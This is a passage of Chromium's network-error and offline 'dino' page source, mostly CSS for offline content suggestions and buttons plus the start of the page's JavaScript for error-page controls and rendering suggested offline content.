}

#offline-content-list-visibility-card {
  border: 1px solid white;
  border-radius: 8px;
  display: flex;
  font-size: .8em;
  justify-content: space-between;
  line-height: 1;
}

#offline-content-list.list-hidden #offline-content-list-visibility-card {
  border-color: rgb(218, 220, 224);
}

#offline-content-list-visibility-card > div {
  padding: 1em;
}

#offline-content-list-title {
  color: var(--google-gray-700);
}

#offline-content-list-show-text,
#offline-content-list-hide-text {
  color: rgb(66, 133, 244);
}

/* Hides the "hide" text div when the offline content list is collapsed/hidden
 * and, alternatively, hides the "show" text div when the offline content list
 * is expanded/shown.
 */
#offline-content-list.list-hidden #offline-content-list-hide-text,
#offline-content-list:not(.list-hidden) #offline-content-list-show-text {
  display: none;
}

/* Controls the animation of the offline content list when it is expanded/shown.
 */
#offline-content-suggestions {
  /* Max-height has to be set for the height animation to work. The chosen value
   * is a little greater than the maximum height the list will have, when all
   * suggestions have images, so that it is never clamped. This makes so that
   * when the actual height is smaller then the animation is not as smooth.
   */
  max-height: 27em;
  transition: max-height 200ms ease-in, visibility 0s 200ms,
              opacity 200ms 200ms linear;
}

/* Controls the animation of the offline content list when it is
 * collapsed/hidden.
 */
#offline-content-list.list-hidden #offline-content-suggestions {
  max-height: 0;
  opacity: 0;
  transition: opacity 200ms linear, visibility 0s 200ms,
              max-height 200ms 200ms ease-out;
  visibility: hidden;
}

#offline-content-list {
  margin-inline-start: -5%;
  width: 110%;
}

/* The selectors below adjust the "overflow" of the suggestion cards contents
 * based on the same screen size based strategy used for the main frame, which
 * is applied by the `interstitial-wrapper` class. */
@media (max-width: 420px)  {
  #offline-content-list {
    margin-inline-start: -2.5%;
    width: 105%;
  }
}
@media (max-width: 420px) and (orientation: portrait),
       (max-height: 560px) {
  #offline-content-list {
    margin-inline-start: -12px;
    width: calc(100% + 24px);
  }
}

.suggestion-with-image .offline-content-suggestion-thumbnail {
  flex-basis: 8.2em;
  flex-shrink: 0;
}

.suggestion-with-image .offline-content-suggestion-thumbnail > img {
  height: 100%;
  width: 100%;
}

.suggestion-with-image #offline-content-list:not(.is-rtl)
.offline-content-suggestion-thumbnail > img {
  border-bottom-right-radius: 7px;
  border-top-right-radius: 7px;
}

.suggestion-with-image #offline-content-list.is-rtl
.offline-content-suggestion-thumbnail > img {
  border-bottom-left-radius: 7px;
  border-top-left-radius: 7px;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail {
  align-items: center;
  display: flex;
  justify-content: center;
  min-height: 4.2em;
  min-width: 4.2em;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail > div {
  align-items: center;
  background-color: rgb(241, 243, 244);
  border-radius: 50%;
  display: flex;
  height: 2.3em;
  justify-content: center;
  width: 2.3em;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail > div > img {
  height: 1.45em;
  width: 1.45em;
}

.offline-content-suggestion-favicon {
  height: 1em;
  margin-inline-end: 0.4em;
  width: 1.4em;
}

.offline-content-suggestion-favicon > img {
  height: 1.4em;
  width: 1.4em;
}

.no-favicon .offline-content-suggestion-favicon {
  display: none;
}

.image-video {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTcgMTAuNVY3YTEgMSAwIDAgMC0xLTFINGExIDEgMCAwIDAtMSAxdjEwYTEgMSAwIDAgMCAxIDFoMTJhMSAxIDAgMCAwIDEtMXYtMy41bDQgNHYtMTFsLTQgNHoiIGZpbGw9IiMzQzQwNDMiLz48L3N2Zz4=);
}

.image-music-note {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTIgM3Y5LjI2Yy0uNS0uMTctMS0uMjYtMS41LS4yNkM4IDEyIDYgMTQgNiAxNi41UzggMjEgMTAuNSAyMXM0LjUtMiA0LjUtNC41VjZoNFYzaC03eiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}

.image-earth {
  content: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIgMmM1LjUyIDAgMTAgNC40OCAxMCAxMHMtNC40OCAxMC0xMCAxMFMyIDE3LjUyIDIgMTIgNi40OCAyIDEyIDJ6TTQgMTJoNC40YzMuNDA3LjAyMiA0LjkyMiAxLjczIDQuNTQzIDUuMTI3SDkuNDg4djIuNDdhOC4wMDQgOC4wMDQgMCAwIDAgMTAuNDk4LTguMDgzQzE5LjMyNyAxMi41MDQgMTguMzMyIDEzIDE3IDEzYy0yLjEzNyAwLTMuMjA2LS45MTYtMy4yMDYtMi43NWgtMy43NDhjLS4yNzQtMi43MjguNjgzLTQuMDkyIDIuODctNC4wOTIgMC0uOTc1LjMyNy0xLjU5Ny44MTEtMS45N0E4LjAwNCA4LjAwNCAwIDAgMCA0IDEyeiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}

.image-file {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMgOVYzLjVMMTguNSA5TTYgMmMtMS4xMSAwLTIgLjg5LTIgMnYxNmEyIDIgMCAwIDAgMiAyaDEyYTIgMiAwIDAgMCAyLTJWOGwtNi02SDZ6IiBmaWxsPSIjM0M0MDQzIi8+PC9zdmc+);
}

.offline-content-suggestion-texts {
  display: flex;
  flex-direction: column;
  justify-content: space-between;
  line-height: 1.3;
  padding: .9em;
  width: 100%;
}

.offline-content-suggestion-title {
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 3;
  color: rgb(32, 33, 36);
  display: -webkit-box;
  font-size: 1.1em;
  overflow: hidden;
  text-overflow: ellipsis;
}

div.offline-content-suggestion {
  align-items: stretch;
  border: 1px solid rgb(218, 220, 224);
  border-radius: 8px;
  display: flex;
  justify-content: space-between;
  margin-bottom: .8em;
}

.suggestion-with-image {
  flex-direction: row;
  height: 8.2em;
  max-height: 8.2em;
}

.suggestion-with-icon {
  flex-direction: row-reverse;
  height: 4.2em;
  max-height: 4.2em;
}

.suggestion-with-icon .offline-content-suggestion-title {
  -webkit-line-clamp: 1;
  word-break: break-all;
}

.suggestion-with-icon .offline-content-suggestion-texts {
  padding-inline-start: 0;
}

.offline-content-suggestion-attribution-freshness {
  color: rgb(95, 99, 104);
  display: flex;
  font-size: .8em;
  line-height: 1.7em;
}

.offline-content-suggestion-attribution {
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 1;
  display: -webkit-box;
  flex-shrink: 1;
  margin-inline-end: 0.3em;
  overflow: hidden;
  overflow-wrap: break-word;
  text-overflow: ellipsis;
  word-break: break-all;
}

.no-attribution .offline-content-suggestion-attribution {
  display: none;
}

.offline-content-suggestion-freshness::before {
  content: '-';
  display: inline-block;
  flex-shrink: 0;
  margin-inline-end: .1em;
  margin-inline-start: .1em;
}

.no-attribution .offline-content-suggestion-freshness::before {
  display: none;
}

.offline-content-suggestion-freshness {
  flex-shrink: 0;
}

.suggestion-with-image .offline-content-suggestion-pin-spacer {
  flex-grow: 100;
  flex-shrink: 1;
}

.suggestion-with-image .offline-content-suggestion-pin {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMjQgMjQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PGRlZnM+PHBhdGggaWQ9ImEiIGQ9Ik0wIDBoMjR2MjRIMFYweiIvPjwvZGVmcz48Y2xpcFBhdGggaWQ9ImIiPjx1c2UgeGxpbms6aHJlZj0iI2EiIG92ZXJmbG93PSJ2aXNpYmxlIi8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjYikiIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9zdmc+);
  flex-shrink: 0;
  height: 1.4em;
  margin-inline-start: .4em;
  width: 1.4em;
}

/* Controls the animation (and a bit more) of the launch-downloads-home action
 * button when the offline content list is expanded/shown.
 */
#offline-content-list-action {
  text-align: center;
  transition: visibility 0s 200ms, opacity 200ms 200ms linear;
}

/* Controls the animation of the launch-downloads-home action button when the
 * offline content list is collapsed/hidden.
 */
#offline-content-list.list-hidden #offline-content-list-action {
  opacity: 0;
  transition: opacity 200ms linear, visibility 0s 200ms;
  visibility: hidden;
}

#cancel-save-page-button {
  background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0Ij48Y2xpcFBhdGggaWQ9Im1hc2siPjxwYXRoIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiM5QUEwQTYiIGQ9Ik0wIDBoMjR2MjRIMHoiLz48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiMxQTczRTgiIHN0eWxlPSJhbmltYXRpb246b2ZmbGluZUFuaW1hdGlvbiA0cyBpbmZpbml0ZSIgZD0iTTAgMGgyNHYyNEgweiIvPjxzdHlsZT5Aa2V5ZnJhbWVzIG9mZmxpbmVBbmltYXRpb257MCUsMzUle2hlaWdodDowfTYwJXtoZWlnaHQ6MTAwJX05MCV7ZmlsbC1vcGFjaXR5OjF9dG97ZmlsbC1vcGFjaXR5OjB9fTwvc3R5bGU+PC9zdmc+);
  background-position: right 27px center;
  background-repeat: no-repeat;
  border: 1px solid var(--google-gray-300);
  border-radius: 5px;
  color: var(--google-gray-700);
  margin-bottom: 26px;
  padding-bottom: 16px;
  padding-inline-end: 88px;
  padding-inline-start: 16px;
  padding-top: 16px;
  text-align: start;
}

html[dir='rtl'] #cancel-save-page-button {
  background-position: left 27px center;
}

#save-page-for-later-button {
  display: flex;
  justify-content: start;
}

#save-page-for-later-button a::before {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
  display: inline-block;
  margin-inline-end: 4px;
  vertical-align: -webkit-baseline-middle;
}

.hidden#save-page-for-later-button {
  display: none;
}

/* Don't allow overflow when in a subframe. */
html[subframe] body {
  overflow: hidden;
}

#sub-frame-error {
  -webkit-align-items: center;
  -webkit-flex-flow: column;
  -webkit-justify-content: center;
  background-color: #DDD;
  display: -webkit-flex;
  height: 100%;
  left: 0;
  position: absolute;
  text-align: center;
  top: 0;
  transition: background-color 200ms ease-in-out;
  width: 100%;
}

#sub-frame-error:hover {
  background-color: #EEE;
}

#sub-frame-error .icon-generic {
  margin: 0 0 16px;
}

#sub-frame-error-details {
  margin: 0 10px;
  text-align: center;
  visibility: hidden;
}

/* Show details only when hovering. */
#sub-frame-error:hover #sub-frame-error-details {
  visibility: visible;
}

/* If the iframe is too small, always hide the error code. */
/* TODO(mmenke): See if overflow: no-display works better, once supported. */
@media (max-width: 200px), (max-height: 95px) {
  #sub-frame-error-details {
    display: none;
  }
}

/* Adjust icon for small embedded frames in apps. */
@media (max-height: 100px) {
  #sub-frame-error .icon-generic {
    height: auto;
    margin: 0;
    padding-top: 0;
    width: 25px;
  }
}

/* details-button is special; it's a <button> element that looks like a link. */
#details-button {
  box-shadow: none;
  min-width: 0;
}

/* Styles for platform dependent separation of controls and details button. */
.suggested-left > #control-buttons,
.suggested-right > #details-button {
  float: left;
}

.suggested-right > #control-buttons,
.suggested-left > #details-button {
  float: right;
}

.suggested-left .secondary-button {
  margin-inline-end: 0;
  margin-inline-start: 16px;
}

#details-button.singular {
  float: none;
}

/* download-button shows both icon and text. */
#download-button {
  padding-bottom: 4px;
  padding-top: 4px;
  position: relative;
}

#download-button::before {
  background: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAAO0lEQVQ4y2NgGArgPxIY1YChsOE/LtBAmpYG0mxpIOSDBpKUo2lpIDZxNJCkHKqlYZAla3RAHQ1DFgAARRroHyLNTwwAAAAASUVORK5CYII=) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAQAAAD9CzEMAAAAZElEQVRYw+3Ruw3AMAwDUY3OzZUmRRD4E9iim9wNwAdbEURHyk4AAAAATiCVK8lLyPsKeT9K3lsownnunfkPxO78hKiYHxBV8x2icr5BVM+/CMf8g3DN34Rzns6ViwHUAUQ/6wIAd5Km7l6c8AAAAABJRU5ErkJggg==) 2x)
    no-repeat;
  content: '';
  display: inline-block;
  height: 24px;
  margin-inline-end: 4px;
  margin-inline-start: -4px;
  vertical-align: middle;
  width: 24px;
}

#download-button:disabled {
  background: rgb(180, 206, 249);
  color: rgb(255, 255, 255);
}

#buttons::after {
  clear: both;
  content: '';
  display: block;
  width: 100%;
}

/* Offline page */
html[dir='rtl'] .runner-container,
html[dir='rtl'].offline .icon-offline {
  transform: scaleX(-1);
}

.offline {
  transition: filter 1.5s cubic-bezier(0.65, 0.05, 0.36, 1),
              background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);

  will-change: filter, background-color;

}

.offline body {
  transition: background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
}

.offline #main-message > p {
  display: none;
}

.offline.inverted {
  background-color: #fff;
  filter: invert(1);
}

.offline.inverted body {
  background-color: #fff;
}

.offline .interstitial-wrapper {
  color: var(--text-color);
  font-size: 1em;
  line-height: 1.55;
  margin: 0 auto;
  max-width: 600px;
  padding-top: 100px;
  position: relative;
  width: 100%;
}

.offline .runner-container {
  direction: ltr;
  height: 150px;
  max-width: 600px;
  overflow: hidden;
  position: absolute;
  top: 35px;
  width: 44px;
}

.offline .runner-container:focus {
  outline: none;
}

.offline .runner-container:focus-visible {
  outline: 3px solid var(--google-blue-300);
}

.offline .runner-canvas {
  height: 150px;
  max-width: 600px;
  opacity: 1;
  overflow: hidden;
  position: absolute;
  top: 0;
  z-index: 10;
}

.offline .controller {
  height: 100vh;
  left: 0;
  position: absolute;
  top: 0;
  width: 100vw;
  z-index: 9;
}

#offline-resources {
  display: none;
}

#offline-instruction {
  image-rendering: pixelated;
  left: 0;
  margin: auto;
  position: absolute;
  right: 0;
  top: 60px;
  width: fit-content;
}

.offline-runner-live-region {
  bottom: 0;
  clip-path: polygon(0 0, 0 0, 0 0);
  color: var(--background-color);
  display: block;
  font-size: xx-small;
  overflow: hidden;
  position: absolute;
  text-align: center;
  transition: color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
  user-select: none;
}

/* Custom toggle */
.slow-speed-option {
  align-items: center;
  background: var(--google-gray-50);
  border-radius: 24px/50%;
  bottom: 0;
  color: var(--error-code-color);
  display: inline-flex;
  font-size: 1em;
  left: 0;
  line-height: 1.1em;
  margin: 5px auto;
  padding: 2px 12px 3px 20px;
  position: absolute;
  right: 0;
  width: max-content;
  z-index: 999;
}

.slow-speed-option.hidden {
  display: none;
}

.slow-speed-option [type=checkbox] {
  opacity: 0;
  pointer-events: none;
  position: absolute;
}

.slow-speed-option .slow-speed-toggle {
  cursor: pointer;
  margin-inline-start: 8px;
  padding: 8px 4px;
  position: relative;
}

.slow-speed-option [type=checkbox]:disabled ~ .slow-speed-toggle {
  cursor: default;
}

.slow-speed-option-label [type=checkbox] {
  opacity: 0;
  pointer-events: none;
  position: absolute;
}

.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option .slow-speed-toggle::after {
  content: '';
  display: block;
  margin: 0 3px;
  transition: all 100ms cubic-bezier(0.4, 0, 1, 1);
}

.slow-speed-option .slow-speed-toggle::before {
  background: rgb(189,193,198);
  border-radius: 0.65em;
  height: 0.9em;
  width: 2em;
}

.slow-speed-option .slow-speed-toggle::after {
  background: #fff;
  border-radius: 50%;
  box-shadow: 0 1px 3px 0 rgb(0 0 0 / 40%);
  height: 1.2em;
  position: absolute;
  top: 51%;
  transform: translate(-20%, -50%);
  width: 1.1em;
}

.slow-speed-option [type=checkbox]:focus + .slow-speed-toggle {
  box-shadow: 0 0 8px rgb(94, 158, 214);
  outline: 1px solid rgb(93, 157, 213);
}

.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
  background: var(--google-blue-600);
  opacity: 0.5;
}

.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after {
  background: var(--google-blue-600);
  transform: translate(calc(2em - 90%), -50%);
}

.slow-speed-option [type=checkbox]:checked:disabled +
  .slow-speed-toggle::before {
  background: rgb(189,193,198);
}

.slow-speed-option [type=checkbox]:checked:disabled +
  .slow-speed-toggle::after {
  background: var(--google-gray-50);
}

@media (max-width: 420px) {
  #download-button {
    padding-bottom: 12px;
    padding-top: 12px;
  }

  .suggested-left > #control-buttons,
  .suggested-right > #control-buttons {
    float: none;
  }

  .snackbar {
    border-radius: 0;
    bottom: 0;
    left: 0;
    width: 100%;
  }
}

@media (max-height: 350px) {
  h1 {
    margin: 0 0 15px;
  }

  .icon-offline {
    margin: 0 0 10px;
  }

  .interstitial-wrapper {
    margin-top: 5%;
  }

  .nav-wrapper {
    margin-top: 30px;
  }
}

@media (min-width: 420px) and (max-width: 736px) and
       (min-height: 240px) and (max-height: 420px) and
       (orientation:landscape) {
  .interstitial-wrapper {
    margin-bottom: 100px;
  }
}

@media (max-width: 360px) and (max-height: 480px) {
  .offline .interstitial-wrapper {
    padding-top: 60px;
  }

  .offline .runner-container {
    top: 8px;
  }
}

@media (min-height: 240px) and (orientation: landscape) {
  .offline .interstitial-wrapper {
    margin-bottom: 90px;
  }

  .icon-offline {
    margin-bottom: 20px;
  }
}

@media (max-height: 320px) and (orientation: landscape) {
  .icon-offline {
    margin-bottom: 0;
  }

  .offline .runner-container {
    top: 10px;
  }
}

@media (max-width: 240px) {
  button {
    padding-inline-end: 12px;
    padding-inline-start: 12px;
  }

  .interstitial-wrapper {
    overflow: inherit;
    padding: 0 8px;
  }
}

@media (max-width: 120px) {
  button {
    width: auto;
  }
}

.arcade-mode,
.arcade-mode .runner-container,
.arcade-mode .runner-canvas {
  image-rendering: pixelated;
  max-width: 100%;
  overflow: hidden;
}

.arcade-mode #buttons,
.arcade-mode #main-content {
  opacity: 0;
  overflow: hidden;
}

.arcade-mode .interstitial-wrapper {
  height: 100vh;
  max-width: 100%;
  overflow: hidden;
}

.arcade-mode .runner-container {
  left: 0;
  margin: auto;
  right: 0;
  transform-origin: top center;
  transition: transform 250ms cubic-bezier(0.4, 0, 1, 1) 400ms;
  z-index: 2;
}

@media (prefers-color-scheme: dark) {
  .icon {
    filter: invert(1);
  }

  .offline .runner-canvas {
    filter: invert(1);
  }

  .offline.inverted {
    background-color: var(--background-color);
    filter: invert(0);
  }

  .offline.inverted body {
    background-color: #fff;
  }

  .offline.inverted .offline-runner-live-region {
    color: #fff;
  }

  #suggestions-list a {
    color: var(--link-color);
  }

  #error-information-button {
    filter: invert(0.6);
  }

  .slow-speed-option {
    background: var(--google-gray-800);
    color: var(--google-gray-100);
  }

  .slow-speed-option .slow-speed-toggle::before,
  .slow-speed-option [type=checkbox]:checked:disabled +
    .slow-speed-toggle::before {
     background: rgb(189,193,198);
  }

  .slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after,
  .slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
    background: var(--google-blue-300);
  }
}
</style>
  <script>// Copyright 2013 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * @typedef {{
 *   downloadButtonClick: function(),
 *   reloadButtonClick: function(string),
 *   detailsButtonClick: function(),
 *   diagnoseErrorsButtonClick: function(),
 *   trackEasterEgg: function(),
 *   updateEasterEggHighScore: function(number),
 *   resetEasterEggHighScore: function(),
 *   launchOfflineItem: function(string, string),
 *   savePageForLater: function(),
 *   cancelSavePage: function(),
 *   listVisibilityChange: function(boolean),
 * }}
 */
// eslint-disable-next-line no-var
var errorPageController;

const HIDDEN_CLASS = 'hidden';

// Decodes a UTF16 string that is encoded as base64.
function decodeUTF16Base64ToString(encoded_text) {
  const data = atob(encoded_text);
  let result = '';
  for (let i = 0; i < data.length; i += 2) {
    result +=
        String.fromCharCode(data.charCodeAt(i) * 256 + data.charCodeAt(i + 1));
  }
  return result;
}

function toggleHelpBox() {
  const helpBoxOuter = document.getElementById('details');
  helpBoxOuter.classList.toggle(HIDDEN_CLASS);
  const detailsButton = document.getElementById('details-button');
  if (helpBoxOuter.classList.contains(HIDDEN_CLASS)) {
    /** @suppress {missingProperties} */
    detailsButton.innerText = detailsButton.detailsText;
  } else {
    /** @suppress {missingProperties} */
    detailsButton.innerText = detailsButton.hideDetailsText;
  }

  // Details appears over the main content on small screens.
  if (mobileNav) {
    document.getElementById('main-content').classList.toggle(HIDDEN_CLASS);
    const runnerContainer = document.querySelector('.runner-container');
    if (runnerContainer) {
      runnerContainer.classList.toggle(HIDDEN_CLASS);
    }
  }
}

function diagnoseErrors() {
  if (window.errorPageController) {
    errorPageController.diagnoseErrorsButtonClick();
  }
}

// Subframes use a different layout but the same html file.  This is to make it
// easier to support platforms that load the error page via different
// mechanisms (Currently just iOS). We also use the subframe style for portals
// as they are embedded like subframes and can't be interacted with by the user.
let isSubFrame = false;
if (window.top.location !== window.location || window.portalHost) {
  document.documentElement.setAttribute('subframe', '');
  isSubFrame = true;
}

// Re-renders the error page using |strings| as the dictionary of values.
// Used by NetErrorTabHelper to update DNS error pages with probe results.
function updateForDnsProbe(strings) {
  const context = new JsEvalContext(strings);
  jstProcess(context, document.getElementById('t'));
  onDocumentLoadOrUpdate();
}

// Adds an icon class to the list and removes classes previously set.
function updateIconClass(newClass) {
  const frameSelector = isSubFrame ? '#sub-frame-error' : '#main-frame-error';
  const iconEl = document.querySelector(frameSelector + ' .icon');

  if (iconEl.classList.contains(newClass)) {
    return;
  }

  iconEl.className = 'icon ' + newClass;
}

// Implements button clicks.  This function is needed during the transition
// between implementing these in trunk chromium and implementing them in iOS.
function reloadButtonClick(url) {
  if (window.errorPageController) {
    // 

    // 
    errorPageController.reloadButtonClick();
    // 
  } else {
    window.location = url;
  }
}

function downloadButtonClick() {
  if (window.errorPageController) {
    errorPageController.downloadButtonClick();
    const downloadButton = document.getElementById('download-button');
    downloadButton.disabled = true;
    /** @suppress {missingProperties} */
    downloadButton.textContent = downloadButton.disabledText;

    document.getElementById('download-link-wrapper')
        .classList.add(HIDDEN_CLASS);
    document.getElementById('download-link-clicked-wrapper')
        .classList.remove(HIDDEN_CLASS);
  }
}

function detailsButtonClick() {
  if (window.errorPageController) {
    errorPageController.detailsButtonClick();
  }
}

let primaryControlOnLeft = true;
// clang-format off
// 
// clang-format on
primaryControlOnLeft = false;
// 

function setAutoFetchState(scheduled, can_schedule) {
  document.getElementById('cancel-save-page-button')
      .classList.toggle(HIDDEN_CLASS, !scheduled);
  document.getElementById('save-page-for-later-button')
      .classList.toggle(HIDDEN_CLASS, scheduled || !can_schedule);
}

function savePageLaterClick() {
  errorPageController.savePageForLater();
  // savePageForLater will eventually trigger a call to setAutoFetchState() when
  // it completes.
}

function cancelSavePageClick() {
  errorPageController.cancelSavePage();
  // setAutoFetchState is not called in response to cancelSavePage(), so do it
  // now.
  setAutoFetchState(false, true);
}

function toggleErrorInformationPopup() {
  document.getElementById('error-information-popup-container')
      .classList.toggle(HIDDEN_CLASS);
}

function launchOfflineItem(itemID, name_space) {
  errorPageController.launchOfflineItem(itemID, name_space);
}

function launchDownloadsPage() {
  errorPageController.launchDownloadsPage();
}

function getIconForSuggestedItem(item) {
  // Note: |item.content_type| contains the enum values from
  // chrome::mojom::AvailableContentType.
  switch (item.content_type) {
    case 1:  // kVideo
      return 'image-video';
    case 2:  // kAudio
      return 'image-music-note';
    case 0:  // kPrefetchedPage
    case 3:  // kOtherPage
      return 'image-earth';
  }
  return 'image-file';
}

function getSuggestedContentDiv(item, index) {
  // Note: See AvailableContentToValue in available_offline_content_helper.cc
  // for the data contained in an |item|.
  // TODO(carlosk): Present |snippet_base64| when that content becomes
  // available.
  let thumbnail = '';
  const extraContainerClasses = [];
  // html_inline.py will try to replace src attributes with data URIs using a
  // simple regex. The following is obfuscated slightly to avoid that.
  const source = 'src';
  if (item.thumbnail_data_uri) {
    extraContainerClasses.push('suggestion-with-image');
    thumbnail = `<img ${source}="${item.thumbnail_data_uri}">`;
  } else {
    extraContainerClasses.push('suggestion-with-icon');
    const iconClass = getIconForSuggestedItem(item);
    thumbnail = `<div><img class="${iconClass}"></div>`;
  }

  let favicon = '';
  if (item.favicon_data_uri) {
    favicon = `<img ${source}="${item.favicon_data_uri}">`;
  } else {
    extraContainerClasses.push('no-favicon');
  }

  if (!item.attribution_base64) {
    extraContainerClasses.push('no-attribution');
  }

  return `
  <div class="offline-content-suggestion ${extraContainerClasses.join(' ')}"
    onclick="launchOfflineItem('${item.ID}', '${item.name_space}')">
      <div class="offline-content-suggestion-texts">
        <div id="offline-content-suggestion-title-${index}"
             class="offline-content-suggestion-title">
        </div>
        <div class="offline-content-suggestion-attribution-freshness">
          <div id="offline-content-suggestion-favicon-${index}"
               class="offline-content-suggestion-favicon">
            ${favicon}
          </div>
          <div id="offline-content-suggestion-attribution-${index}"
               class="offline-content-suggestion-attribution">
          </div>
          <div class="offline-content-suggestion-freshness">
            ${item.date_modified}
          </div>
          <div class="offline-content-suggestion-pin-spacer"></div>
          <div class="offline-content-suggestion-pin"></div>
        </div>
      </div>
      <div class="offline-content-suggestion-thumbnail">
        ${thumbnail}
      </div>
  </div>`;
}

/**
 * @typedef {{
 *   ID: string,
 *   name_space: string,
 *   title_base64: string,
 *   snippet_base64: string,
 *   date_modified: string,
 *   attribution_base64: string,
 *   thumbnail_data_uri: string,
 *   favicon_data_uri: string,
 *   content_type: number,
 * }}
 */
let AvailableOfflineContent;

// Populates a list of suggested offline content.
// Note: For security reasons all content downloaded from the web is considered
// unsafe and must be securely handled to be presented on the dino page. Images
// have already been safely re-encoded but textual content -- like title and
// attribution -- must be properly handled here.
// @param {boolean} isShown
// @param {Array<AvailableOfflineContent>} suggestions
function offlineContentAvailable(isShown, suggestions) {
  if (!suggestions || !loadTimeData.valueExists('offlineContentList')) {
    return;
  }

  const suggestionsHTML = [];
  for (let index = 0; index < suggestions.length; index++) {
    suggestionsHTML.push(getSuggestedContentDiv(suggestions[index], index));
  }

  document.getElementById('offline-content-suggestions').innerHTML =
      suggestionsHTML.join('\n');

  // Sets textual web content using |textContent| to make sure it's handled as
  // plain text.
  for (let index = 0; index < suggestions.length; index++) {
    document.getElementById(`offline-content-suggestion-title-${index}`)
        .textContent =
        decodeUTF16Base64ToString(suggestions[index].title_base64);
    document.getElementById(`offline-content-suggestion-attribution-${index}`)
        .textContent =
        decodeUTF16Base64ToString(suggestions[index].attribution_base64);
  }

  const contentListElement = document.getElementById('offline-content-list');
  if (document.dir === 'rtl') {
    contentListElement.classList.add('is-rtl');
  }
  contentListElement.hidden = false;
  // The list is configured as hidden by default. Show it if needed.
  if (isShown) {
    toggleOfflineContentListVisibility(false);
  }
}

function toggleOfflineContentListVisibility(updatePref) {
  if (!loadTimeData.valueExists('offlineContentList')) {
    return;
  }

  const contentListElement = document.getElementById('offline-content-list');
  const isVisible = !contentListElement.classList.toggle('list-hidden');

  if (updatePref && window.errorPageController) {
    errorPageController.listVisibilityChanged(isVisible);
  }
}

// Called on document load, and from updateForDnsProbe().
function onDocumentLoadOrUpdate() {
  const downloadButtonVisible = loadTimeData.valueExists('downloadButton') &&
      loadTimeData.getValue('downloadButton').msg;
  const detailsButton = document.getElementById('details-button');

  // If offline content suggestions will be visible, the usual buttons will not
  // be presented.
  const offlineContentVisible =
      loadTimeData.valueExists('suggestedOfflineContentPresentation');
  if (offlineContentVisible) {
    document.querySelector('.nav-wrapper').classList.add(HIDDEN_CLASS);
    detailsButton.classList.add(HIDDEN_CLASS);

    document.getElementById('download-link').hidden = !downloadButtonVisible;
    document.getElementById('download-links-wrapper')
        .classList.remove(HIDDEN_CLASS);
    document.getElementById('error-information-popup-container')
